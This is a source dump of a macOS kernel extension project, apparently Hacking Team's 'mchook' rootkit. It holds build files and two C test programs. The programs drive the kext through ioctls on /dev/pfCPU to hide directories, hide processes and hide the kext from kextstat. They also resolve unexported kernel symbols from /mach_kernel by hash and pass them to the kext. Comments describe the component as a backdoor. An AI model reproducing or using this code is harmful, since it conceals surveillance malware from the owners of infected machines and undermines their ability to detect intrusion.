├── .gitignore
├── English.lproj
└── InfoPlist.strings
├── Info.plist
├── Makefile
├── TestUnit
├── kextControl.c
└── solveKernel.c
├── mchook-64-Info.plist
├── mchook.c
├── mchook.h
├── mchook.xcodeproj
└── project.pbxproj
├── proc_internal.h
├── start.sh
├── stop.sh
├── structures.h
└── task_internal.h
/.gitignore:
--------------------------------------------------------------------------------
1 | #
2 | # MacOS
3 | #
4 | .DS_Store
5 |
6 | #
7 | # Xcode
8 | #
9 | *.xib
10 | *.mode*
11 | *.perspectivev3
12 | *.pbxuser
13 | build/*
14 | *.xcworkspace
15 | xcuserdata
16 |
17 | #
18 | # vim
19 | #
20 | *.swp
21 |
22 | #
23 | # var files
24 | #
25 | log
26 | *.icns
27 | *.tiff
28 |
--------------------------------------------------------------------------------
/English.lproj/InfoPlist.strings:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/hackedteam/driver-macos/4b03ca3ab4262af7b07a2313688dedb268cd3409/English.lproj/InfoPlist.strings
--------------------------------------------------------------------------------
/Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | English
7 | CFBundleExecutable
8 | mchook
9 | CFBundleIconFile
10 |
11 | CFBundleIdentifier
12 | com.revenge.kext.machooker
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundlePackageType
16 | KEXT
17 | CFBundleSignature
18 | ????
19 | CFBundleVersion
20 | 2.0
21 | OSBundleLibraries
22 |
23 | com.apple.kpi.bsd
24 | 10.4
25 | com.apple.kpi.libkern
26 | 10.4
27 |
28 |
29 |
30 |
--------------------------------------------------------------------------------
/Makefile:
--------------------------------------------------------------------------------
1 | all:
2 | xcodebuild
3 |
4 | clean:
5 | xcodebuild clean
6 |
--------------------------------------------------------------------------------
/TestUnit/kextControl.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 |
5 | #include
6 | #include
7 |
8 | #define BDOR_DEVICE "/dev/pfCPU"
9 | #define MCHOOK_MAGIC 31338
10 | #define MAX_USER 20
11 | #define DLENGTH 30
12 |
13 | // Used for the uspace<->kspace initialization
14 | #define MCHOOK_INIT _IOW( MCHOOK_MAGIC, 8978726, char [20])
15 | // Show kext from kextstat -- DEBUG
16 | #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871)
17 | // Hide kext from kextstat
18 | #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738)
19 | // Hide given pid
20 | #define MCHOOK_HIDEP _IO( MCHOOK_MAGIC, 9400284)
21 | // Hide given dir/file name
22 | #define MCHOOK_HIDED _IOW( MCHOOK_MAGIC, 1998274, char [DLENGTH])
23 | // Show Process -- DEBUG
24 | #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840)
25 | // Unregister userspace component
26 | #define MCHOOK_UNREGISTER _IOW( MCHOOK_MAGIC, 5739299, char [20])
27 | // Returns the number of active backdoors
28 | #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int)
29 |
30 |
31 | int main(int argc, char *argv[])
32 | {
33 | int kext_fd = 0, ret = 0;
34 | int i = 0;
35 | const char username[] = "test";
36 |
37 | printf("[-] Opening /dev entry\n");
38 | kext_fd = open(BDOR_DEVICE, O_RDWR);
39 |
40 | // Initializing
41 | printf("[-] Initializing uspace<->kspace\n");
42 | ret = ioctl(kext_fd, MCHOOK_INIT, username);
43 | printf("[-] Sleeping\n");
44 | sleep(5);
45 |
46 | // Hiding DIRs
47 | printf("[-] Hiding DIRs\n");
48 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani1");
49 | sleep(1);
50 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani2");
51 | sleep(1);
52 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani3");
53 | sleep(1);
54 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/antani4");
55 | sleep(1);
56 | ret = ioctl(kext_fd, MCHOOK_HIDED, "/Users/test/Desktop/dir1");
57 | sleep(1);
58 |
59 | // Hide Process
60 | printf("[-] Hiding process\n");
61 | ret = ioctl(kext_fd, MCHOOK_HIDEP, getpid());
62 |
63 | // Keep test running
64 | printf("[-] Sleeping\n");
65 | sleep(5);
66 |
67 | // Quit Process
68 | printf("[-] Unregistering uspace component from kspace\n");
69 | ret = ioctl(kext_fd, MCHOOK_UNREGISTER, username);
70 |
71 | return 0;
72 | }
73 |
--------------------------------------------------------------------------------
/TestUnit/solveKernel.c:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 |
6 | #include
7 | #include
8 |
9 | #include
10 | #include
11 | #include
12 |
13 | #include
14 | #include
15 | #include
16 |
17 | #define SWAP_LONG(a) ( ((a) << 24) | \
18 | (((a) << 8) & 0x00ff0000) | \
19 | (((a) >> 8) & 0x0000ff00) | \
20 | ((a) >> 24) )
21 |
22 | #define BDOR_DEVICE "/dev/pfCPU"
23 | #define MCHOOK_MAGIC 31338
24 | #define MAX_USER 20
25 | #define MAX_USER_LENGTH 20
26 | #define DLENGTH 30
27 |
28 | // Used for the uspace<->kspace initialization
29 | #define MCHOOK_INIT _IOW(MCHOOK_MAGIC, 8978726, char [MAX_USER_LENGTH])
30 | // Show kext from kextstat -- DEBUG
31 | #define MCHOOK_SHOWK _IO( MCHOOK_MAGIC, 8349871)
32 | // Hide kext from kextstat
33 | #define MCHOOK_HIDEK _IO( MCHOOK_MAGIC, 4975738)
34 | // Hide given pid
35 | #define MCHOOK_HIDEP _IOW(MCHOOK_MAGIC, 9400284, char [MAX_USER_LENGTH])
36 | // Hide given dir/file name
37 | #define MCHOOK_HIDED _IOW(MCHOOK_MAGIC, 1998274, char [MAX_DIR_LENGTH])
38 | // Show Process -- DEBUG
39 | #define MCHOOK_SHOWP _IO( MCHOOK_MAGIC, 6839840)
40 | // Unregister userspace component
41 | #define MCHOOK_UNREGISTER _IOW(MCHOOK_MAGIC, 5739299, char [MAX_USER_LENGTH])
42 | // Returns the number of active backdoors
43 | #define MCHOOK_GET_ACTIVES _IOR(MCHOOK_MAGIC, 7489827, int)
44 | // Pass symbols resolved from uspace to kspace (not exported symbol snow)
45 | #define MCHOOK_SOLVE_SYM_32 _IOW(MCHOOK_MAGIC, 6483647, struct symbol_32)
46 | #ifdef __LP64__
47 | #define MCHOOK_SOLVE_SYM_64 _IOW(MCHOOK_MAGIC, 6483648, struct symbol_64)
48 | #endif
49 | // Tell the kext to find sysent
50 | #define MCHOOK_FIND_SYS _IOW(MCHOOK_MAGIC, 4548874, struct os_version)
51 |
52 | typedef struct symbol_32 {
53 | uint32_t hash;
54 | uint32_t address;
55 | } symbol32_t;
56 |
57 | #ifdef __LP64__
58 | typedef struct symbol_64 {
59 | uint64_t hash;
60 | uint64_t address;
61 | } symbol64_t;
62 | #endif
63 |
64 | typedef struct os_version {
65 | uint32_t major;
66 | uint32_t minor;
67 | uint32_t bugfix;
68 | } os_version_t;
69 |
70 |
71 | static unsigned int
72 | sdbm (unsigned char *str)
73 | {
74 | unsigned int hash = 0;
75 | int c;
76 |
77 | while ((c = *str++))
78 | hash = c + (hash << 6) + (hash << 16) - hash;
79 |
80 | return hash;
81 | }
82 |
83 | #ifdef __LP64__
84 | uint64_t
85 | findSymbolInFatBinary64(void *imageBase, unsigned int symbolHash)
86 | {
87 | #ifdef DEBUG
88 | infoLog(@"[ii] findSymbolInFatBinary64\n");
89 | #endif
90 |
91 | if (imageBase == NULL)
92 | {
93 | return -1;
94 | }
95 |
96 | struct mach_header_64 *mh_header = NULL;
97 | struct load_command *l_command = NULL;
98 | struct nlist_64 *sym_nlist = NULL;
99 | struct symtab_command *sym_command = NULL;
100 | struct segment_command_64 *seg_command = NULL;
101 | struct fat_header *f_header = NULL;
102 | struct fat_arch *f_arch = NULL;
103 |
104 | char *symbolName = NULL;
105 |
106 | int offset, symbolOffset, stringOffset, x86Offset, i, found, nfat;
107 |
108 | unsigned int linkeditHash = 0xf51f49c4; // "__LINKEDIT" sdbm hashed
109 | unsigned int hash;
110 |
111 | offset = found = 0;
112 | f_header = (struct fat_header *)imageBase;
113 |
114 | offset += sizeof (struct fat_header);
115 | nfat = SWAP_LONG (f_header->nfat_arch);
116 |
117 | #ifdef DEBUG
118 | infoLog(@"[ii] magic: %x\n", f_header->magic);
119 | infoLog(@"[ii] nfat arch: %d\n", nfat);
120 | #endif
121 |
122 | for (i = 0; i < nfat; i++)
123 | {
124 | f_arch = imageBase + offset;
125 | int cpuType = SWAP_LONG(f_arch->cputype);
126 |
127 | if (cpuType == CPU_TYPE_X86_64)
128 | break;
129 |
130 | offset += sizeof (struct fat_arch);
131 | }
132 |
133 | if (f_arch == NULL)
134 | return -1;
135 |
136 | x86Offset = SWAP_LONG (f_arch->offset);
137 | #ifdef DEBUG
138 | printf ("[ii] x86_64 offset: %x\n", x86Offset);
139 | #endif
140 |
141 | offset = x86Offset;
142 | mh_header = (struct mach_header_64 *)(imageBase + offset);
143 | offset += sizeof (struct mach_header_64);
144 |
145 | #ifdef DEBUG
146 | infoLog(@"imageBase in findSymbolFat: %p\n", mh_header);
147 | #endif
148 |
149 | #ifdef DEBUG
150 | infoLog(@"[ii] ncmdsFat: %d\n", mh_header->ncmds);
151 | #endif
152 |
153 | for (i = 0; i < mh_header->ncmds; i++)
154 | {
155 | l_command = imageBase + offset;
156 |
157 | #ifdef DEBUG
158 | infoLog(@"[ii] cmdFat: %d\n", l_command->cmd);
159 | #endif
160 |
161 | if (l_command->cmd == LC_SEGMENT)
162 | {
163 | if (found)
164 | {
165 | offset += l_command->cmdsize;
166 | continue;
167 | }
168 |
169 | seg_command = imageBase + offset;
170 |
171 | #ifdef DEBUG
172 | infoLog(@"[ii] segNameFat: %s\n", seg_command->segname);
173 | #endif
174 |
175 | if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
176 | found = 1;
177 | }
178 | else if (l_command->cmd == LC_SYMTAB)
179 | {
180 | sym_command = imageBase + offset;
181 |
182 | if (found)
183 | break;
184 | }
185 |
186 | offset += l_command->cmdsize;
187 | }
188 |
189 | if (sym_command != NULL)
190 | {
191 | symbolOffset = x86Offset + sym_command->symoff;
192 | stringOffset = x86Offset + sym_command->stroff;
193 | }
194 | else
195 | {
196 | return -1;
197 | }
198 |
199 | #ifdef DEBUG
200 | infoLog(@"[ii] offsetFat: %x\n", offset);
201 | infoLog(@"[ii] stringOffsetFat: %x\n", stringOffset);
202 | infoLog(@"[ii] nSymsFat: %d\n", sym_command->nsyms);
203 | #endif
204 |
205 | for (i = 0; i < sym_command->nsyms; i++)
206 | {
207 | sym_nlist = (struct nlist_64 *)(imageBase + symbolOffset);
208 | symbolOffset += sizeof (struct nlist_64);
209 |
210 | if (sym_nlist->n_un.n_strx == 0x0)
211 | {
212 | continue;
213 | }
214 |
215 | symbolName = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset);
216 | hash = sdbm ((unsigned char *)symbolName);
217 |
218 | #ifdef DEBUG_VERBOSE
219 | printf ("[ii] SYMBOLFat: %s\n", symbolName);
220 | #endif
221 | if (hash == symbolHash)
222 | {
223 | #ifdef DEBUG
224 | printf ("[ii] Symbol Found\n");
225 | printf ("[ii] SYMBOLFat: %s\n", symbolName);
226 | printf ("[ii] addressFat: %llx\n", sym_nlist->n_value);
227 | #endif
228 |
229 | return sym_nlist->n_value;
230 | }
231 | }
232 |
233 | return -1;
234 | }
235 | #endif
236 |
237 | unsigned int
238 | findSymbolInFatBinary (void *imageBase, unsigned int symbolHash)
239 | {
240 | #ifdef DEBUG
241 | printf("[ii] findSymbolInFatBinary!\n");
242 | #endif
243 |
244 | if (imageBase == 0x0)
245 | {
246 | return -1;
247 | }
248 |
249 | struct mach_header *mh_header = NULL;
250 | struct load_command *l_command = NULL;
251 | struct nlist *sym_nlist = NULL;
252 | struct symtab_command *sym_command = NULL;
253 | struct segment_command *seg_command = NULL;
254 | struct fat_header *f_header = NULL;
255 | struct fat_arch *f_arch = NULL;
256 |
257 | char *symbolName = NULL;
258 |
259 | int offset, symbolOffset, stringOffset, x86Offset, i, found, nfat;
260 |
261 | unsigned int linkeditHash = 0xf51f49c4; // "__LINKEDIT" sdbm hashed
262 | unsigned int hash;
263 |
264 | offset = found = 0;
265 | f_header = (struct fat_header *)imageBase;
266 |
267 | offset += sizeof (struct fat_header);
268 | nfat = SWAP_LONG (f_header->nfat_arch);
269 |
270 | #ifdef DEBUG
271 | printf("[ii] magic: %x\n", f_header->magic);
272 | printf("[ii] nFatArch: %d\n", nfat);
273 | #endif
274 |
275 | //return -1;
276 |
277 | for (i = 0; i < nfat; i++)
278 | {
279 | f_arch = imageBase + offset;
280 | int cpuType = SWAP_LONG (f_arch->cputype);
281 |
282 | if (cpuType == 0x7)
283 | break;
284 |
285 | offset += sizeof (struct fat_arch);
286 | }
287 |
288 | x86Offset = SWAP_LONG (f_arch->offset);
289 | #ifdef DEBUG
290 | printf ("[ii] x86 offset: %x\n", x86Offset);
291 | #endif
292 |
293 | offset = x86Offset;
294 | mh_header = (struct mach_header *)(imageBase + offset);
295 | offset += sizeof (struct mach_header);
296 |
297 | #ifdef DEBUG
298 | printf("imageBase in findSymbolFat: %x\n", mh_header);
299 | #endif
300 |
301 | #ifdef DEBUG
302 | printf("[ii] ncmdsFat: %d\n", mh_header->ncmds);
303 | #endif
304 |
305 | for (i = 0; i < mh_header->ncmds; i++)
306 | {
307 | l_command = imageBase + offset;
308 |
309 | #ifdef DEBUG
310 | printf("[ii] cmdFat: %d\n", l_command->cmd);
311 | #endif
312 |
313 | if (l_command->cmd == LC_SEGMENT)
314 | {
315 | if (found)
316 | {
317 | offset += l_command->cmdsize;
318 | continue;
319 | }
320 |
321 | seg_command = imageBase + offset;
322 |
323 | #ifdef DEBUG
324 | printf("[ii] segNameFat: %s\n", seg_command->segname);
325 | #endif
326 |
327 | if (sdbm ((unsigned char *)seg_command->segname) == linkeditHash)
328 | found = 1;
329 | }
330 | else if (l_command->cmd == LC_SYMTAB)
331 | {
332 | sym_command = imageBase + offset;
333 |
334 | if (found)
335 | break;
336 | }
337 |
338 | offset += l_command->cmdsize;
339 | }
340 |
341 | symbolOffset = x86Offset + sym_command->symoff;
342 | stringOffset = x86Offset + sym_command->stroff;
343 |
344 | #ifdef DEBUG
345 | printf("[ii] offsetFat: %x\n", offset);
346 | printf("[ii] stringOffsetFat: %x\n", stringOffset);
347 | printf("[ii] nSymsFat: %d\n", sym_command->nsyms);
348 | #endif
349 |
350 | for (i = 0; i < sym_command->nsyms; i++)
351 | {
352 | sym_nlist = (struct nlist *)(imageBase + symbolOffset);
353 | symbolOffset += sizeof (struct nlist);
354 |
355 | if (sym_nlist->n_un.n_strx == 0x0)
356 | {
357 | continue;
358 | }
359 |
360 | symbolName = (char *)(imageBase + sym_nlist->n_un.n_strx + stringOffset);
361 | hash = sdbm ((unsigned char *)symbolName);
362 |
363 | #ifdef DEBUG_VERBOSE
364 | printf ("[ii] SYMBOLFat: %s\n", symbolName);
365 | #endif
366 | if (hash == symbolHash)
367 | {
368 | #ifdef DEBUG
369 | printf ("[ii] Symbol Found\n");
370 | printf ("[ii] SYMBOLFat: %s\n", symbolName);
371 | printf ("[ii] addressFat: %x\n", sym_nlist->n_value);
372 | #endif
373 | return sym_nlist->n_value;
374 | }
375 | }
376 |
377 | return -1;
378 | }
379 |
380 | #ifdef __LP64__
381 |
382 | int main()
383 | {
384 | int kernFD = 0;
385 | void *imageBase = NULL;
386 | char filename[] = "/mach_kernel";
387 | struct stat sb;
388 | int filesize = 0;
389 | symbol64_t sym;
390 |
391 | int kext_fd = 0, ret = 0;
392 | int i = 0;
393 | const char username[] = "userleo2";
394 |
395 | unsigned int kmod_hash = 0xdd2c36d6; // _kmod
396 | unsigned int nsysent_hash = 0xb366074d; // _nsysent
397 | unsigned int tasks_hash = 0xdbb44cef; // _tasks
398 | unsigned int allproc_hash = 0x3fd3c678; // _allproc
399 | unsigned int tasks_count_hash = 0xa3f77e7f; // _tasks_count
400 | unsigned int nprocs_hash = 0xa77ea22e; // _nprocs
401 | unsigned int tasks_threads_lock_hash = 0xd94f2751; // _tasks_threads_locks
402 | unsigned int proc_lock_hash = 0x44c085d5; // _proc_lock
403 | unsigned int proc_unlock_hash = 0xf46ca50e; // _proc_unlock
404 | unsigned int proc_list_lock_hash = 0x9129f0e2; // _proc_list_lock
405 | unsigned int proc_list_unlock_hash = 0x5337599b; // _proc_list_unlock
406 | unsigned int kext_lookup_with_tag_hash = 0xcf7000a8; // __ZN6OSKext21lookupKextWithLoadTagEj
407 | unsigned int io_recursive_lock_hash = 0x1f7127e3; // _IORecursiveLockLock
408 |
409 | printf("I'm x64\n");
410 |
411 | kernFD = open(filename, O_RDONLY);
412 | if ( stat(filename, &sb) == -1 )
413 | printf("err 1\n");
414 |
415 | filesize = sb.st_size;
416 | printf("filesize: %d\n", filesize);
417 |
418 | if ((imageBase = mmap (0, filesize, PROT_READ | PROT_WRITE,
419 | MAP_PRIVATE, kernFD, 0)) == (caddr_t)-1)
420 | printf("err 2\n");
421 |
422 | printf("file mapped @ 0x%lx\n", (unsigned long)imageBase);
423 |
424 | printf("[-] Opening /dev entry\n");
425 | kext_fd = open(BDOR_DEVICE, O_RDWR);
426 |
427 | // Initializing
428 | printf("[-] Initializing uspace<->kspace\n");
429 | ret = ioctl(kext_fd, MCHOOK_INIT, username);
430 |
431 | uint64_t antani = 0;
432 | antani = findSymbolInFatBinary64(imageBase, kmod_hash);
433 | printf("kmod @ 0x%lx\n", antani);
434 | sym.hash = kmod_hash;
435 | sym.address = antani;
436 |
437 | // Sending Symbols
438 | printf("[-] Sending symbols\n");
439 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
440 |
441 | antani = findSymbolInFatBinary64(imageBase, nsysent_hash);
442 | sym.hash = nsysent_hash;
443 | sym.address = antani;
444 | printf("nsysent.hash = %lx, nsysent.hash: %lx\n", sym.hash, sym.address);
445 | // Sending Symbols
446 | printf("[-] Sending symbols\n");
447 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
448 |
449 | antani = findSymbolInFatBinary64(imageBase, tasks_hash);
450 | printf("tasks @ 0x%lx\n", antani);
451 | sym.hash = tasks_hash;
452 | sym.address = antani;
453 |
454 | // Sending Symbols
455 | printf("[-] Sending symbols\n");
456 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
457 |
458 | antani = findSymbolInFatBinary64(imageBase, allproc_hash);
459 | printf("allproc @ 0x%lx\n", antani);
460 | sym.hash = allproc_hash;
461 | sym.address = antani;
462 |
463 | // Sending Symbols
464 | printf("[-] Sending symbols\n");
465 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
466 |
467 | antani = findSymbolInFatBinary64(imageBase, tasks_count_hash);
468 | sym.hash = tasks_count_hash;
469 | sym.address = antani;
470 | // Sending Symbols
471 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
472 |
473 | antani = findSymbolInFatBinary64(imageBase, nprocs_hash);
474 | sym.hash = nprocs_hash;
475 | sym.address = antani;
476 | // Sending Symbols
477 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
478 |
479 | antani = findSymbolInFatBinary64(imageBase, tasks_threads_lock_hash);
480 | sym.hash = tasks_threads_lock_hash;
481 | sym.address = antani;
482 | // Sending Symbols
483 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
484 |
485 | antani = findSymbolInFatBinary64(imageBase, proc_lock_hash);
486 | sym.hash = proc_lock_hash;
487 | sym.address = antani;
488 | // Sending Symbols
489 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
490 |
491 | antani = findSymbolInFatBinary64(imageBase, proc_unlock_hash);
492 | sym.hash = proc_unlock_hash;
493 | sym.address = antani;
494 | // Sending Symbols:1
495 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
496 |
497 | antani = findSymbolInFatBinary64(imageBase, proc_list_lock_hash);
498 | sym.hash = proc_list_lock_hash;
499 | sym.address = antani;
500 | // Sending Symbols
501 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
502 |
503 | antani = findSymbolInFatBinary64(imageBase, proc_list_unlock_hash);
504 | sym.hash = proc_list_unlock_hash;
505 | sym.address = antani;
506 | // Sending Symbols
507 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
508 |
509 | antani = findSymbolInFatBinary64(imageBase, kext_lookup_with_tag_hash);
510 | sym.hash = kext_lookup_with_tag_hash;
511 | sym.address = antani;
512 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
513 | printf("kext_lookup_with_tag: %lx\n", antani);
514 |
515 | antani = findSymbolInFatBinary64(imageBase, io_recursive_lock_hash);
516 | sym.hash = io_recursive_lock_hash;
517 | sym.address = antani;
518 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_64, &sym);
519 | printf("io_recursive_lock: %lx\n", antani);
520 |
521 |
522 |
523 | munmap(imageBase, filesize);
524 | close(kernFD);
525 |
526 | os_version_t os_ver;
527 | os_ver.major = 10;
528 | os_ver.minor = 7;
529 | os_ver.bugfix = 3;
530 |
531 | // Telling kext to find sysent based on OS version
532 | printf("[-] Telling KEXT to find sysent\n");
533 | ret = ioctl(kext_fd, MCHOOK_FIND_SYS, &os_ver);
534 |
535 | // Hide KEXT
536 | printf("[-] Hiding KEXT\n");
537 | ret = ioctl(kext_fd, MCHOOK_HIDEK);
538 |
539 |
540 | // Hiding a simple Directory
541 | // printf("[-] Hiding Tests dir\n");
542 | // ret = ioctl(kext_fd, MCHOOK_HIDED, "Tests");
543 |
544 | // Hide Process
545 | // printf("[-] Hiding process\n");
546 | // ret = ioctl(kext_fd, MCHOOK_HIDEP, username);
547 |
548 | // Unregister Process
549 | printf("[-] Unregistering uspace component from kspace\n");
550 | ret = ioctl(kext_fd, MCHOOK_UNREGISTER, username);
551 |
552 | return 0;
553 | }
554 | #else
555 |
556 | int main()
557 | {
558 | int kernFD = 0;
559 | void *imageBase = NULL;
560 | char filename[] = "/mach_kernel";
561 | struct stat sb;
562 | int filesize = 0;
563 | symbol32_t sym;
564 |
565 | int kext_fd = 0, ret = 0;
566 | int i = 0;
567 | const char username[] = "userleo2";
568 |
569 | unsigned int kmod_hash = 0xdd2c36d6; // _kmod
570 | unsigned int nsysent_hash = 0xb366074d; // _nsysent
571 | unsigned int tasks_hash = 0xdbb44cef; // _tasks
572 | unsigned int allproc_hash = 0x3fd3c678; // _allproc
573 | unsigned int tasks_count_hash = 0xa3f77e7f; // _tasks_count
574 | unsigned int nprocs_hash = 0xa77ea22e; // _nprocs
575 | unsigned int tasks_threads_lock_hash = 0xd94f2751; // _tasks_threads_locks
576 | unsigned int proc_lock_hash = 0x44c085d5; // _proc_lock
577 | unsigned int proc_unlock_hash = 0xf46ca50e; // _proc_unlock
578 | unsigned int proc_list_lock_hash = 0x9129f0e2; // _proc_list_lock
579 | unsigned int proc_list_unlock_hash = 0x5337599b; // _proc_list_unlock
580 | unsigned int kext_lookup_with_tag_hash = 0xcf7000a8; // __ZN6OSKext21lookupKextWithLoadTagEj
581 | unsigned int io_recursive_lock_hash = 0x1f7127e3; // _IORecursiveLockLock
582 |
583 |
584 | kernFD = open(filename, O_RDONLY);
585 | if ( stat(filename, &sb) == -1 )
586 | printf("err 1\n");
587 |
588 | filesize = sb.st_size;
589 | printf("filesize: %d\n", filesize);
590 |
591 | if ((imageBase = mmap (0, filesize, PROT_READ | PROT_WRITE,
592 | MAP_PRIVATE, kernFD, 0)) == (caddr_t)-1)
593 | printf("err 2\n");
594 |
595 | printf("file mapped @ 0x%lx\n", (unsigned long)imageBase);
596 |
597 | printf("[-] Opening /dev entry\n");
598 | kext_fd = open(BDOR_DEVICE, O_RDWR);
599 |
600 | // Initializing
601 | printf("[-] Initializing uspace<->kspace\n");
602 | ret = ioctl(kext_fd, MCHOOK_INIT, username);
603 |
604 | unsigned int antani = 0;
605 | antani = findSymbolInFatBinary(imageBase, kmod_hash);
606 | printf("kmod @ 0x%0x\n", antani);
607 | sym.hash = kmod_hash;
608 | sym.address = antani;
609 |
610 | // Sending Symbols
611 | printf("[-] Sending symbols\n");
612 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
613 |
614 | antani = findSymbolInFatBinary(imageBase, nsysent_hash);
615 | printf("nsysent @ 0x%0x\n", antani);
616 | sym.hash = nsysent_hash;
617 | sym.address = antani;
618 | int *nsysent = NULL;
619 | nsysent = &antani;
620 | printf("nsysent = %d\n", *nsysent);
621 |
622 | // Sending Symbols
623 | printf("[-] Sending symbols\n");
624 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
625 |
626 | antani = findSymbolInFatBinary(imageBase, tasks_hash);
627 | printf("tasks @ 0x%0x\n", antani);
628 | sym.hash = tasks_hash;
629 | sym.address = antani;
630 |
631 | // Sending Symbols
632 | printf("[-] Sending symbols\n");
633 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
634 |
635 | antani = findSymbolInFatBinary(imageBase, allproc_hash);
636 | printf("allproc @ 0x%0x\n", antani);
637 | sym.hash = allproc_hash;
638 | sym.address = antani;
639 |
640 | // Sending Symbols
641 | printf("[-] Sending symbols\n");
642 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
643 |
644 | antani = findSymbolInFatBinary(imageBase, tasks_count_hash);
645 | sym.hash = tasks_count_hash;
646 | sym.address = antani;
647 | // Sending Symbols
648 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
649 |
650 | antani = findSymbolInFatBinary(imageBase, nprocs_hash);
651 | sym.hash = nprocs_hash;
652 | sym.address = antani;
653 | // Sending Symbols
654 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
655 |
656 | antani = findSymbolInFatBinary(imageBase, tasks_threads_lock_hash);
657 | sym.hash = tasks_threads_lock_hash;
658 | sym.address = antani;
659 | // Sending Symbols
660 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
661 |
662 | antani = findSymbolInFatBinary(imageBase, proc_lock_hash);
663 | sym.hash = proc_lock_hash;
664 | sym.address = antani;
665 | // Sending Symbols
666 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
667 |
668 | antani = findSymbolInFatBinary(imageBase, proc_unlock_hash);
669 | sym.hash = proc_unlock_hash;
670 | sym.address = antani;
671 | // Sending Symbols:1
672 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
673 |
674 | antani = findSymbolInFatBinary(imageBase, proc_list_lock_hash);
675 | sym.hash = proc_list_lock_hash;
676 | sym.address = antani;
677 | // Sending Symbols
678 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
679 |
680 | antani = findSymbolInFatBinary(imageBase, proc_list_unlock_hash);
681 | sym.hash = proc_list_unlock_hash;
682 | sym.address = antani;
683 | // Sending Symbols
684 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
685 |
686 | antani = findSymbolInFatBinary(imageBase, kext_lookup_with_tag_hash);
687 | sym.hash = kext_lookup_with_tag_hash;
688 | sym.address = antani;
689 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
690 | printf("kext_lookup_with_tag: %08x\n", antani);
691 |
692 | antani = findSymbolInFatBinary(imageBase, io_recursive_lock_hash);
693 | sym.hash = io_recursive_lock_hash;
694 | sym.address = antani;
695 | ret = ioctl(kext_fd, MCHOOK_SOLVE_SYM_32, &sym);
696 | printf("io_recursive_lock: %08x\n", antani);
697 |
698 | munmap(imageBase, filesize);
699 | close(kernFD);
700 |
701 | return 0;
702 | os_version_t os_ver;
703 | os_ver.major = 10;
704 | os_ver.minor = 7;
705 | os_ver.bugfix = 3;
706 |
707 | // Telling kext to find sysent based on OS version
708 | printf("[-] Telling KEXT to find sysent\n");
709 | ret = ioctl(kext_fd, MCHOOK_FIND_SYS, &os_ver);
710 |
711 | printf("[-] Sleeping ...\n");
712 | // sleep(5);
713 |
714 | /*
715 |
716 | // Hiding a simple Directory
717 | printf("[-] Hiding Tests dir\n");
718 | ret = ioctl(kext_fd, MCHOOK_HIDED, "Tests");
719 |
720 | // Hide Process
721 | printf("[-] Hiding process\n");
722 | ret = ioctl(kext_fd, MCHOOK_HIDEP, username);
723 |
724 | printf("[-] Sleeping ...\n");
725 | sleep(5);
726 | */
727 |
728 | // Hide KEXT
729 | printf("[-] Hiding KEXT\n");
730 | ret = ioctl(kext_fd, MCHOOK_HIDEK);
731 | // sleep(5);
732 |
733 | // Unregister Process
734 | printf("[-] Unregistering uspace component from kspace\n");
735 | ret = ioctl(kext_fd, MCHOOK_UNREGISTER, username);
736 |
737 | printf("[-] Sleeping ...\n");
738 | // sleep(5);
739 |
740 | return 0;
741 | }
742 | #endif
743 |
--------------------------------------------------------------------------------
/mchook-64-Info.plist:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | CFBundleDevelopmentRegion
6 | English
7 | CFBundleExecutable
8 | mchook
9 | CFBundleIconFile
10 |
11 | CFBundleIdentifier
12 | com.revenge.kext.machooker
13 | CFBundleInfoDictionaryVersion
14 | 6.0
15 | CFBundlePackageType
16 | KEXT
17 | CFBundleSignature
18 | ????
19 | CFBundleVersion
20 | 2.0
21 | OSBundleLibraries
22 |
23 | com.apple.kpi.bsd
24 | 10.4
25 | com.apple.kpi.libkern
26 | 10.4
